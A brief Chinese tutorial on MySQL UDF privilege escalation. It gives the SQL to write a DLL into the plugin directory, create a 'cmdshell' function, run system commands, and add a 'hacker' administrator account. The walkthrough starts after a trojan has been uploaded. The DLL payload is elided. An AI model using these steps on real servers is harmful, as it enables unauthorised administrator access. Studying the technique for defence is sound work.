合规国际互联网加速 OSASE为企业客户提供高速稳定SD-WAN国际加速解决方案。 广告
[TOC] ## UDF提权 * UDF(User Defined Function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 * UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数) ## 条件 1. mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。 2. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和删除函数 3. 拥有可以将udf.dll写入相应目录的权限。 ## 利用 发现上传的木马,发现只有普通用户的执行权限 查看是否满足提权的条件 ``` • 先查看数据库版本: select version(); • 查询mysql导出路径: show variables like "%plugin%"; • 查询是否可以导出: show variables like "secure_file_priv"; ``` 创建表和导入dll二进制数据 ``` • 创建一个表 create table my_udf_data(data longblob); • 插入数据 insert into my_udf_data values(0x4d5……); ``` 写入dll文件-创建自定义函数 ``` • 写入dll文件 select data from my_udf_data into dumpfile'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\myudf.dll'; • 创建自定义函数 create function cmdshell returns string soname "myudf.dll"; ``` 使用自定义函数执行命令 ``` • 查看当前用户 select cmdshell('whoami'); • 创建用户 select cmdshell('net user hacker admin@123 /add'); • 添加到管理组 select cmdshell('net localgroup administrators hacker /add'); ```